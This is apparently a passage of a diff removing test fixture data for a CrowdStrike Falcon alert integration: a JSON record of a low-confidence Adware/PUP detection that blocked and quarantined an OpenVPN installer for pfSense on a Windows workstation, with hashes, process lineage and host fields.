-                "path": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe"
-            },
-            "host": {
-                "domain": "ABC.LOCAL",
-                "hostname": "ABC709-1175",
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "mac": [
-                    "AB-21-48-61-05-B2"
-                ],
-                "os": {
-                    "full": "Windows11",
-                    "platform": "Windows",
-                    "type": "windows"
-                }
-            },
-            "message": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-            "process": {
-                "end": "2023-11-03T18:00:21.000Z",
-                "entity_id": "399748687993",
-                "executable": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "hash": {
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                },
-                "name": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                "parent": {
-                    "command_line": "C:\\WINDOWS\\Explorer.EXE",
-                    "entity_id": "392736520876",
-                    "executable": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                    "hash": {
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4"
-                    },
-                    "name": "explorer.exe",
-                    "pid": 392736520876
-                },
-                "pid": 399748687993,
-                "start": "2023-11-03T18:00:13.000Z",
-                "user": {
-                    "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "name": "mohit.jha"
-                }
-            },
-            "related": {
-                "hash": [
-                    "b07f77fd3f9828b2c9d61f8a36609741",
-                    "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                    "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "8cc3fcdd7d52d2d5221303c213e044ae",
-                    "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                    "0000000000000000000000000000000000000000"
-                ],
-                "hosts": [
-                    "ABC.LOCAL",
-                    "ABC709-1175"
-                ],
-                "ip": [
-                    "81.2.69.142"
-                ],
-                "user": [
-                    "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "yuvraj.mahajan",
-                    "mohit.jha"
-                ]
-            },
-            "tags": [
-                "preserve_original_event",
-                "preserve_duplicate_custom_fields"
-            ],
-            "threat": {
-                "framework": "CrowdStrike Falcon Detections Framework",
-                "tactic": {
-                    "id": [
-                        "CSTA0004"
-                    ],
-                    "name": [
-                        "MachineLearning"
-                    ]
-                },
-                "technique": {
-                    "id": [
-                        "CST0000"
-                    ],
-                    "name": [
-                        "Adware/PUP"
-                    ]
-                }
-            },
-            "user": {
-                "id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                "name": "mohit.jha"
-            }
-        },
-        {
-            "@timestamp": "2023-11-03T18:00:22.328Z",
-            "crowdstrike": {
-                "alert": {
-                    "agent_id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                    "aggregate_id": "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                    "alleged_filetype": "exe",
-                    "cid": "92012896127c4a948236ba7601b886b0",
-                    "cloud_indicator": false,
-                    "cmdline": "\"C:\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\"",
-                    "composite_id": "92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "confidence": 10,
-                    "context_timestamp": "2023-11-03T18:00:31.000Z",
-                    "control_graph_id": "ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778",
-                    "crawl_edge_ids": {
-                        "Sensor": [
-                            "KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N",
-                            "KZcZA__;?\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!",
-                            "KZd)iK2;s\\ckQl_P*d=Mo?^a7/JKc\\*L48169!7I5;0\\<H^hNG\"ZQ3#U3\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\"Ql@Q!!!$!rr",
-                            "N6=Ks_B9Bncmur)?\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\:#mb;BM\\L[g!\\F*M!!*'!",
-                            "N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N",
-                            "N6B%s!\\k)ed$F6>a%iM\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\"b&m!<<'",
-                            "N6CU&`%VT\"d$=67=h\\I)/BJH:8-lS!.%\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\"59K'R?_=`'`rK/'hA\"r+L5i-*Ut5PI!!*'!",
-                            "N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\"%MDAR=fo41Z]rXc\"J-\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr",
-                            "N6CUF__;K!d$:\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\"X'\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\"<_/?I'[##WMh'H[Rcl+!!<<'",
-                            "N6L[G__;K!d\"qhT7k?[D\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\"d.&=To@9kS!prs8N"
-                        ]
-                    },
-                    "crawl_vertex_ids": {
-                        "Sensor": [
-                            "aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778",
-                            "ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                            "mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                            "pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                            "pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993",
-                            "quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425"
-                        ]
-                    },
-                    "crawled_timestamp": "2023-11-03T19:00:23.985Z",
-                    "created_timestamp": "2023-11-03T18:01:23.995Z",
-                    "data_domains": [
-                        "Endpoint"
-                    ],
-                    "description": "ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.",
-                    "device": {
-                        "agent_load_flags": 0,
-                        "agent_local_time": "2023-10-12T03:45:57.753Z",
-                        "agent_version": "7.04.17605.0",
-                        "bios_manufacturer": "ABC",
-                        "bios_version": "F8CN42WW(V2.05)",
-                        "cid": "92012896127c4a948236ba7601b886b0",
-                        "config_id_base": "65994763",
-                        "config_id_build": "17605",
-                        "config_id_platform": 3,
-                        "external_ip": "81.2.69.142",
-                        "first_seen": "2023-04-07T09:36:36.000Z",
-                        "groups": [
-                            "18704e21288243b58e4c76266d38caaf"
-                        ],
-                        "hostinfo": {
-                            "active_directory_dn_display": [
-                                "WinComputers",
-                                "WinComputers\\ABC"
-                            ],
-                            "domain": "ABC.LOCAL"
-                        },
-                        "hostname": "ABC709-1175",
-                        "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                        "last_seen": "2023-11-03T17:51:42.000Z",
-                        "local_ip": "81.2.69.142",
-                        "mac_address": "AB-21-48-61-05-B2",
-                        "machine_domain": "ABC.LOCAL",
-                        "major_version": "10",
-                        "minor_version": "0",
-                        "modified_timestamp": "2023-11-03T17:53:43.000Z",
-                        "os_version": "Windows11",
-                        "ou": [
-                            "ABC",
-                            "WinComputers"
-                        ],
-                        "platform_id": "0",
-                        "platform_name": "Windows",
-                        "product_type": "1",
-                        "product_type_desc": "Workstation",
-                        "site_name": "Default-First-Site-Name",
-                        "status": "normal",
-                        "system_manufacturer": "LENOVO",
-                        "system_product_name": "20VE"
-                    },
-                    "falcon_host_link": "https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "filename": "openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "filepath": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                    "grandparent_details": {
-                        "cmdline": "C:\\Windows\\system32\\userinit.exe",
-                        "filename": "userinit.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\System32\\userinit.exe",
-                        "local_process_id": "4328",
-                        "md5": "b07f77fd3f9828b2c9d61f8a36609741",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135",
-                        "process_id": "392734873135",
-                        "sha256": "caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33",
-                        "timestamp": "2023-10-30T16:49:19.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "yuvraj.mahajan"
-                    },
-                    "has_script_or_module_ioc": true,
-                    "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "indicator_id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                    "ioc_context": [
-                        {
-                            "ioc_description": "\\Device\\HarddiskVolume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "ioc_source": "library_load",
-                            "ioc_type": "hash_sha256",
-                            "ioc_value": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "type": "module"
-                        }
-                    ],
-                    "ioc_values": [
-                        "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd"
-                    ],
-                    "is_synthetic_quarantine_disposition": true,
-                    "local_process_id": "17076",
-                    "logon_domain": "ABSYS",
-                    "md5": "cdf9cfebb400ce89d5b6032bfcdc693b",
-                    "name": "PrewittPupAdwareSensorDetect-Lowest",
-                    "objective": "FalconDetectionMethod",
-                    "parent_details": {
-                        "cmdline": "C:\\WINDOWS\\Explorer.EXE",
-                        "filename": "explorer.exe",
-                        "filepath": "\\Device\\HarddiskVolume3\\Windows\\explorer.exe",
-                        "local_process_id": "1040",
-                        "md5": "8cc3fcdd7d52d2d5221303c213e044ae",
-                        "process_graph_id": "pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876",
-                        "process_id": "392736520876",
-                        "sha256": "0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4",
-                        "timestamp": "2023-11-03T18:00:32.000Z",
-                        "user_graph_id": "uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                        "user_name": "mohit.jha"
-                    },
-                    "parent_process_id": "392736520876",
-                    "pattern_disposition": 2176,
-                    "pattern_disposition_description": "Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.",
-                    "pattern_disposition_details": {
-                        "blocking_unsupported_or_disabled": false,
-                        "bootup_safeguard_enabled": false,
-                        "critical_process_disabled": false,
-                        "detect": false,
-                        "fs_operation_blocked": false,
-                        "handle_operation_downgraded": false,
-                        "inddet_mask": false,
-                        "indicator": false,
-                        "kill_action_failed": false,
-                        "kill_parent": false,
-                        "kill_process": false,
-                        "kill_subprocess": false,
-                        "operation_blocked": false,
-                        "policy_disabled": false,
-                        "process_blocked": true,
-                        "quarantine_file": true,
-                        "quarantine_machine": false,
-                        "registry_operation_blocked": false,
-                        "rooting": false,
-                        "sensor_only": false,
-                        "suspend_parent": false,
-                        "suspend_process": false
-                    },
-                    "pattern_id": "5761",
-                    "platform": "Windows",
-                    "poly_id": "AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1CQjm0tvUQp4Lu5eOAx29ZVj-qrGrA==",
-                    "process_end_time": "2023-11-03T18:00:21.000Z",
-                    "process_id": "399748687993",
-                    "process_start_time": "2023-11-03T18:00:13.000Z",
-                    "product": "epp",
-                    "quarantined_files": [
-                        {
-                            "filename": "\\Device\\Volume3\\Users\\yuvraj.mahajan\\AppData\\Local\\Temp\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\pfSenseFirewallOpenVPNClients\\Windows\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe",
-                            "id": "2ce412d17b334ad4adc8c1c54dbfec4b_b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                            "state": "quarantined"
-                        }
-                    ],
-                    "scenario": "NGAV",
-                    "severity": 30,
-                    "severity_name": "low",
-                    "sha1": "0000000000000000000000000000000000000000",
-                    "sha256": "b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd",
-                    "show_in_ui": true,
-                    "source_products": [
-                        "FalconInsight"
-                    ],
-                    "source_vendors": [
-                        "CrowdStrike"
-                    ],
-                    "status": "new",
-                    "tactic": "MachineLearning",
-                    "tactic_id": "CSTA0004",
-                    "technique": "Adware/PUP",
-                    "technique_id": "CST0000",
-                    "timestamp": "2023-11-03T18:00:22.328Z",
-                    "tree_id": "1931778",
-                    "tree_root": "38687993",
-                    "triggering_process_graph_id": "pid:2ce4124ad4adc8c1c54dbfec4b:399748687993",
-                    "type": "ldt",
-                    "updated_timestamp": "2023-11-03T19:00:23.985Z",
-                    "user_id": "S-1-5-21-1909377054-3469629671-4104191496-4425",
-                    "user_name": "mohit.jha"
-                }
-            },
-            "device": {
-                "id": "2ce412d17b334ad4adc8c1c54dbfec4b",
-                "manufacturer": "LENOVO",
-                "model": {
-                    "name": "20VE"
-                }
-            },
-            "ecs": {
-                "version": "8.17.0"
-            },
-            "event": {
-                "category": [
-                    "process"
-                ],
-                "id": "ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600",
-                "kind": "alert",
-                "original": "{\"agent_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"aggregate_id\":\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"alleged_filetype\":\"exe\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"cloud_indicator\":\"false\",\"cmdline\":\"\\\"C:\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\\\"\",\"composite_id\":\"92012896127c4a8236ba7601b886b0:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"confidence\":10,\"context_timestamp\":\"2023-11-03T18:00:31Z\",\"control_graph_id\":\"ctg:2ce4127b334ad4adc8c1c54dbfec4b:163208931778\",\"crawl_edge_ids\":{\"Sensor\":[\"KZcZ=__;K&cmqQ]Z=W,QK4W.9(rBfs\\\\gfmjTblqI^F-_oNnAWQ&-o0:dR/>>2J<d2T/ji6R&RIHe-tZSkP*q?HW;:leq.:kk)>IVMD36[+=kiQDRm.bB?;d\\\"V0JaQlaltC59Iq6nM?6`>ZAs+LbOJ9p9A;9'WV9^H3XEMs8N\",\"KZcZA__;?\\\"cmott@m_k)MSZ^+C?.cg<Lga#0@71X07*LY2teE56*16pL[=!bjF7g@0jOQE'jT6RX_F@sr#RP-U/d[#nm9A,A,W%cl/T@<W`alY1K_h%QDBBF;_e7S!!*'!\",\"KZd)iK2;s\\\\ckQl_P*d=Mo?^a7/JKc\\\\*L48169!7I5;0\\\\<H^hNG\\\"ZQ3#U3\\\"eo<>92t[f!>*b9WLY@H!V0N,BJsNSTD:?/+fY';e<OHh9AmlT?5<gGqK:*L99kat+P)eZ$HR\\\"Ql@Q!!!$!rr\",\"N6=Ks_B9Bncmur)?\\\\[fV$k/N5;:6@aB$P;R$2XAaPJ?E<G5,UfaP')8#2AY4ff+q?T?b0/RBi-YAeGmb<6Bqp[DZh#I(jObGkjJJaMf\\\\:#mb;BM\\\\L[g!\\\\F*M!!*'!\",\"N6B%O`'=_7d#%u&d[+LTNDs<3307?8n=GrFI:4YYGCL,cIt-Tuj!&<6:3RbC`uNjL#gW&=)E`4^/'fp*.bFX@p_$,R6.\\\"=lV*T*5Vf`c.:nkd$+YD:DJ,Ls0[sArC')K%YTc$:@kUQW5s8N\",\"N6B%s!\\\\k)ed$F6>a%iM\\\"<FTSe/eH8M:<9gf;$$.b??kpC*99aX!Lq:g6:Q3@Ga4Zrb@MaMa]L'YAt$IFBu])\\\"H^sF$r7gDPf6&CHpVKO3<DgK9,Y/e@V\\\"b&m!<<'\",\"N6CU&`%VT\\\"d$=67=h\\\\I)/BJH:8-lS!.%\\\\-!$1@bAhtVO?q4]9'9'haE4N0*-0Uh'-'f',YW3]T=jL3D#N=fJi]Pp-bWej+R9q[%h[p]p26NK8q3b50k9G:.&eM<Qer>__\\\"59K'R?_=`'`rK/'hA\\\"r+L5i-*Ut5PI!!*'!\",\"N6CUF__;K!d$:[C93.?=/5(`5KnM]!L#UbnSY5HOHc#[6A&FE;(naXB4h/OG\\\"%MDAR=fo41Z]rXc\\\"J-\\\\&&V8UW.?I6V*G+,))Ztu_IuCMV#ZJ:QDJ_EjQmjiX#HENY'WD0rVAV$Gl6_+0e:2$8D)):.LUs+8-S$L!!!$!rr\",\"N6CUF__;K!d$:\\\\N43JV0AO56@6D0$!na(s)d.dQ'iI1*uiKt#j?r\\\"X'\\\\AtNML2_C__7ic6,8Dc[F<0NTUGtl%HD#?/Y)t8!1X.;G!*FQ9GP-ukQn`6I##&$^81(P+hN*-#rf/cUs)Wb\\\"<_/?I'[##WMh'H[Rcl+!!<<'\",\"N6L[G__;K!d\\\"qhT7k?[D\\\"Bk:5s%+=>#DM0j$_<r/JG0TCEQ!Ug(be3)&R2JnX+RSqorgC-NCjf6XATBWX(5<L1J1DV>44ZjO9q*d!YLuHhkq!3>3tpi>OPYZp9]5f1#/AlRZL06`/I6cl\\\"d.&=To@9kS!prs8N\"]},\"crawl_vertex_ids\":{\"Sensor\":[\"aggind:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ctg:2ce412d17b334ad4adc8c1c54dbfec4b:163208931778\",\"ind:2ce412d17b34ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"mod:2ce412d17b4ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"mod:2ce412d17b334ad4adc8c1c54dbfec4b:caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"pid:2ce412d17b33d4adc8c1c54dbfec4b:392734873135\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993\",\"quf:2ce412d17b334ad4adc8c1c54dbfec4b:b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\"]},\"crawled_timestamp\":\"2023-11-03T19:00:23.985020992Z\",\"created_timestamp\":\"2023-11-03T18:01:23.995794943Z\",\"data_domains\":[\"Endpoint\"],\"description\":\"ThisfilemeetstheAdware/PUPAnti-malwareMLalgorithm'slowest-confidencethreshold.\",\"device\":{\"agent_load_flags\":\"0\",\"agent_local_time\":\"2023-10-12T03:45:57.753Z\",\"agent_version\":\"7.04.17605.0\",\"bios_manufacturer\":\"ABC\",\"bios_version\":\"F8CN42WW(V2.05)\",\"cid\":\"92012896127c4a948236ba7601b886b0\",\"config_id_base\":\"65994763\",\"config_id_build\":\"17605\",\"config_id_platform\":\"3\",\"device_id\":\"2ce412d17b334ad4adc8c1c54dbfec4b\",\"external_ip\":\"81.2.69.142\",\"first_seen\":\"2023-04-07T09:36:36Z\",\"groups\":[\"18704e21288243b58e4c76266d38caaf\"],\"hostinfo\":{\"active_directory_dn_display\":[\"WinComputers\",\"WinComputers\\\\ABC\"],\"domain\":\"ABC.LOCAL\"},\"hostname\":\"ABC709-1175\",\"last_seen\":\"2023-11-03T17:51:42Z\",\"local_ip\":\"81.2.69.142\",\"mac_address\":\"ab-21-48-61-05-b2\",\"machine_domain\":\"ABC.LOCAL\",\"major_version\":\"10\",\"minor_version\":\"0\",\"modified_timestamp\":\"2023-11-03T17:53:43Z\",\"os_version\":\"Windows11\",\"ou\":[\"ABC\",\"WinComputers\"],\"platform_id\":\"0\",\"platform_name\":\"Windows\",\"pod_labels\":null,\"product_type\":\"1\",\"product_type_desc\":\"Workstation\",\"site_name\":\"Default-First-Site-Name\",\"status\":\"normal\",\"system_manufacturer\":\"LENOVO\",\"system_product_name\":\"20VE\"},\"falcon_host_link\":\"https://falcon.us-2.crowdstrike.com/activity-v2/detections/dhjffg:ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"filename\":\"openvpn-abc-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"grandparent_details\":{\"cmdline\":\"C:\\\\Windows\\\\system32\\\\userinit.exe\",\"filename\":\"userinit.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\System32\\\\userinit.exe\",\"local_process_id\":\"4328\",\"md5\":\"b07f77fd3f9828b2c9d61f8a36609741\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392734873135\",\"process_id\":\"392734873135\",\"sha256\":\"caef4ae19056eeb122a0540508fa8984cea960173ada0dc648cb846d6ef5dd33\",\"timestamp\":\"2023-10-30T16:49:19Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"yuvraj.mahajan\"},\"id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"indicator_id\":\"ind:2ce412d17b334ad4adc8c1c54dbfec4b:399748687993-5761-42627600\",\"ioc_context\":[{\"ioc_description\":\"\\\\Device\\\\HarddiskVolume3\\\\Users\\\\yuvraj.mahajan\\\\AppData\\\\Local\\\\Temp\\\\Temp3cc4c329-2896-461f-9dea-88009eb2e8fb_pfSenseFirewallOpenVPNClients-20230823T120504Z-001.zip\\\\pfSenseFirewallOpenVPNClients\\\\Windows\\\\openvpn-cds-pfSense-UDP4-1194-pfsense-install-2.6.5-I001-amd64.exe\",\"ioc_source\":\"library_load\",\"ioc_type\":\"hash_sha256\",\"ioc_value\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"sha256\":\"b26a6791b72753d2317efd5e1363d93fdd33e611c8b9e08a3b24ea4d755b81fd\",\"type\":\"module\"}],\"local_process_id\":\"17076\",\"logon_domain\":\"ABSYS\",\"md5\":\"cdf9cfebb400ce89d5b6032bfcdc693b\",\"name\":\"PrewittPupAdwareSensorDetect-Lowest\",\"objective\":\"FalconDetectionMethod\",\"parent_details\":{\"cmdline\":\"C:\\\\WINDOWS\\\\Explorer.EXE\",\"filename\":\"explorer.exe\",\"filepath\":\"\\\\Device\\\\HarddiskVolume3\\\\Windows\\\\explorer.exe\",\"local_process_id\":\"1040\",\"md5\":\"8cc3fcdd7d52d2d5221303c213e044ae\",\"process_graph_id\":\"pid:2ce412d17b334ad4adc8c1c54dbfec4b:392736520876\",\"process_id\":\"392736520876\",\"sha256\":\"0b25d56bd2b4d8a6df45beff7be165117fbf7ba6ba2c07744f039143866335e4\",\"timestamp\":\"2023-11-03T18:00:32Z\",\"user_graph_id\":\"uid:2ce412d17b334ad4adc8c1c54dbfec4b:S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_id\":\"S-1-5-21-1909377054-3469629671-4104191496-4425\",\"user_name\":\"mohit.jha\"},\"parent_process_id\":\"392736520876\",\"pattern_disposition\":2176,\"pattern_disposition_description\":\"Prevention/Quarantine,processwasblockedfromexecutionandquarantinewasattempted.\",\"pattern_disposition_details\":{\"blocking_unsupported_or_disabled\":false,\"bootup_safeguard_enabled\":false,\"critical_process_disabled\":false,\"detect\":false,\"fs_operation_blocked\":false,\"handle_operation_downgraded\":false,\"inddet_mask\":false,\"indicator\":false,\"kill_action_failed\":false,\"kill_parent\":false,\"kill_process\":false,\"kill_subprocess\":false,\"operation_blocked\":false,\"policy_disabled\":false,\"process_blocked\":true,\"quarantine_file\":true,\"quarantine_machine\":false,\"registry_operation_blocked\":false,\"rooting\":false,\"sensor_only\":false,\"suspend_parent\":false,\"suspend_process\":false},\"pattern_id\":5761,\"platform\":\"Windows\",\"poly_id\":\"AACSASiWEnxKlIIaw8LWC-8XINBatE2uYZaWqRAAATiEEfPFwhoY4opnh1C